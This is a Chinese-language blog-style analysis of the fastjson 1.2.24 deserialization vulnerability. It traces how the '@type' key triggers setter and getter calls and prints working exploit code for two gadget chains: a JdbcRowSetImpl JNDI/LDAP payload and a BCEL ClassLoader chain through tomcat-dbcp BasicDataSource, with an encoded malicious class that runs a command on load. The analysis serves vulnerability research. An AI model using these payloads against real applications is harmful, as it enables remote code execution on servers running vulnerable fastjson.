fastjson反序列化1.2.24分析

jb分析一波

正常的反序列化一个类是这样子的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) {
//String jsonString = "{\"@type\":\"org.example.Person\",\"name\":\"John\",\"age\":\"30\"}";
//JSONObject jsonObject = JSON.parseObject(jsonString);
String s = "{\"name\":\"John\",\"age\":\"30\"}";
Person person = JSON.parseObject(s, Person.class);
System.out.println(person.getName());



}
}

在这里我们新建了一个Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.example;

public class Person {
private String name;
private int age;
public Person(){

}
public int getAge(){
System.out.println("getAge");
return age;
}
public void setAge(int age){
System.out.println("setAge");
this.age = age;
}
public String getName(){
System.out.println("getName");
return name;
}
public void setName(String name){
System.out.println("setName");
this.name = name;
}
}

可以看到我们Person类里面调用了什么方法就会输出该方法名字,在Main.java的里面

1
Person person = JSON.parseObject(s, Person.class)

实例化了我们的Person类把它进行了反序列化,而常见的反序列化是这样子的

1
2
String s = "{\"name\":\"John\",\"age\":\"30\"}";
JSONObject jsonObject = JSON.parseObject(s);

能不能在常规的反序列化里面把字符串当成类处理扔到里面呢,当存在一个@type键值对的时候就会实现
把字符串当成类处理

其中为什么是@type是因为在这个里面读取了第一个键的传入key做了判断,然后TypeUtils.loadClass就会加载这个类然后放到缓存

然后稀里糊涂的看完了流程发现只有set方法是全局的可以利用的,get要满足下面几种条件才可以利用

我们在看看setter方法怎么被调用的:

调用了parseObject方法进行反序列化,并且指定了反序列化对象Person类,parseObject方法会将json数据反序列化成Person对象,并且在反序列化过程中调用了Person对象的setter方法。
然后再看看另外一种方法:

调用了parse方法将json数据反序列化成java对象,并且在反序列化时调用了对象的setter方法,下一个方法:

调用了parseObject方法将json数据反序列化成java对象,并且在反序列化过程中会调用对象的setter和getter方法,可以看到这几个反序列化都是会调用setter方法的,而只有parseObject方法会调用getter方法,就是说用parseObject方法都可以调用

当反序列化是这个parseObject方法的时候这两个恶意类都可以被执行(因为getter和setter都会被调用)
在做分析调试之前先做一点准备工作,下载对应自己的jdk源码文件以便调试和阅读:https://github.com/adoptium/jdk/releases/tag/jdk8-b65,
jdk下载:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
然后把jdk源码替换到需要替换的包,一般都是在安装jdk目录src里面(没解压需要解压),对应路径,比如sun和com.sun包,里面加入java文件(因为class文件不容易调试),然后在idea项目结构里面sdk添加jdk的根目录下面的src目录就可以,调试会自动跳转到java文件。
开始调试…

JdbcRowSetImpl链加JNDI注入

首先看这个链,这个链是最简单的链子,调用关键的两个方法 :setDataSourceName()和setAutoCommit(),在fastjson中存在动态调用,我们传入name进去,他就会被调用getter方法,变成getName()自动加上get然后首字母大写。

1
2
3
4
5
6
7
8
public void setAutoCommit(boolean autoCommit) throws SQLException {
if(conn != null) {
conn.setAutoCommit(autoCommit);
} else {
conn = connect();
conn.setAutoCommit(autoCommit);
}
}

如果conn为null就会调用connect方法,跟进看看connect方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private Connection connect() throws SQLException {

// Get a JDBC connection.

// First check for Connection handle object as such if
// "this" initialized using conn.

if(conn != null) {
return conn;

} else if (getDataSourceName() != null) {

// Connect using JNDI.
try {
Context ctx = new InitialContext();
DataSource ds = (DataSource)ctx.lookup
(getDataSourceName());
//return ds.getConnection(getUsername(),getPassword());

if(getUsername() != null && !getUsername().equals("")) {
return ds.getConnection(getUsername(),getPassword());
} else {
return ds.getConnection();
}
}
catch (javax.naming.NamingException ex) {
throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}

} else if (getUrl() != null) {
// Check only for getUrl() != null because
// user, passwd can be null
// Connect using the driver manager.

return DriverManager.getConnection
(getUrl(), getUsername(), getPassword());
}
else {
return null;
}

}

当getDataSourceName() != null成立的时候就会调用lookup,就可以导致远程加载类攻击,看看getDataSourceName()方法

返回了dataSource的值,跟进一波

找到了setDataSourceName这个方法
在BaseRowSet.Java里面

1
2
3
4
5
6
7
8
9
10
11
12
13
public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}

在JdbcRowSetImpl.Java里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void setDataSourceName(String dsName) throws SQLException{

if(getDataSourceName() != null) {
if(!getDataSourceName().equals(dsName)) {
super.setDataSourceName(dsName);
conn = null;
ps = null;
rs = null;
}
}
else {
super.setDataSourceName(dsName);
}
}

就是说这个就是远程加载的地址了,我们在反序列化会自动调用setter方法,调用setDataSourceName()和setAutoCommit() ,而JdbcRowSetImpl是 BaseRowSet子类,他们都有setter,先到JdbcRowSetImpl的setter转到BaseRowSet的setter,调用时fastjson会自动加上前缀set,导致远程加载。

1
2
3
4
5
6
7
8
9
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) throws Exception{
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/SHzRiHto\",\"autoCommit\":true}";
JSON.parseObject(s);
}
}

在11.0.1, 8u191, 7u201, 6u211版本之后ldap已经被限制了

不出网链子bcel

有一个条件是需要引入org.apache.tomcat的包,但是这个很常见。

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>

生成恶意类字节码数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.*;

import org.springframework.util.FileCopyUtils;

public class fastjsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = convert("E:\\Evil.class");
String code = Utility.encode(bytes,true);
System.out.println("$$BCEL$$"+code);
//classLoader.loadClass("$$BCEL$$"+code).newInstance();

}
private static byte[] convert(String filePath) throws IOException {
File file = new File(filePath);
// 将文件内容读取到字节数组中
try (InputStream inputStream = new FileInputStream(file)) {
ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
byteOutput.write(buffer, 0, bytesRead);
}
return byteOutput.toByteArray();
}
}
}

恶意类我们可以随便写一个弹计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.lang.Runtime;
import java.lang.Process;

public class Evil {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {

}
}
}

payload:

1
2
3
4
5
6
7
8
9
10
package org.example;
import com.alibaba.fastjson.JSON;

public class testcon {
public static void main(String[] args) throws Exception {
String code = "$l$8b$I$A$A$A$A$A$A$AeQ$c9N$CA$Q$7d$N$p$N$e3$b8$An$b8$e0n$A$8d$5c$bca$bc$YL$8c$b8D$8c$c6$e8eh$3b$a4q$981$c3$a0$fe$91g$_hL$f4$D$fc$uc$f5H$c4$a5$93$ee$aaz$fd$eaUu$f5$fb$c7$cb$h$80$N$ac$98H$mmb$E$a3$icq$8ckw$c2D$G$93$iS$i$d3$i3$M$b1M$e5$aa$60$8b$n$9a$cb$9f2$Y$db$de$95d$Y$aa$uW$k$b4$9b5$e9$9f$d85$87$90$f8$a6p$ba$cc$81j$60$8b$eb$7d$fb$s$bc$o$z$G$b3$ea$b5$7d$nw$94$a6$s$ca$b7$caYo$d8$b7$b6$F$T$fd$iY$L$b3$98c$Y$d6X$d1$b1$ddz$b1$g$f8$ca$adS$3da$3b$c2$c2$3c$W8$W$z$ya$99$n$dd$a3$95$ef$85$bc$J$94$e7$SS$ab$fe$d28$ac5$a4$I$Y$92$3d$e8$b8$ed$G$aaI$3d$98u$Z$7c$H$a3$b9$7c$e5$l$a7D$92$f2$5e$K$86$5c$ee$a2$f2$b7$b3$d2$cf$8c$p$df$T$b2$d5$w$fd$w$d5$F$Z$f8$9d$ad$82$j$cf$PG$b8KO$89$d3$dc$f5$8a$80$e9$f7$d3iQ4C$96$91$ed$x$3c$81$3d$92C$83$a43$W$82$G$r$N$7eS$F$c5Q$b2$d9gD$f6$8cWD$cf$a3$v$a3Z$v$acv$d0$b7$bf$d6A$ec$ec$B$c6$dec$98$99$c148$95$d2ZY$f2$40$fbK$zA$df$ad$7f$7b$80$Y$fdT$7e$QC$e1m$e4$92cX$97O$86$3d$a6$3e$B$5e$d1J$d71$C$A$A";
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}
}

分析下链子

这里forName第二个参数为true初始化了driverClassName这个类,我们看看能不能污染driverClassLoader和driverClassName的值

发现存在两个setter方法,就说明这两个变量可控,在createConnectionFactory往上面找找,找到

createDataSource再往上找发现getConnection

既然找到了getter就可以用parseObject调用了,那我们就需要找到一个恶意类调用,于是找到了com.sun.org.apache.bcel.internal.util.ClassLoader

检查这个头是不是带有$$BCEL$$如果是就creatClass,creatClass里面Utility.decode了class_name

控制driverClassName的值的时候实际上执行了一些loaderClass的操作

最后到了class_name里面

大概链子这样子

至于为什么bcel会存在原生jdk里面可以看看大佬的文章
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

-------------已经到底啦!-------------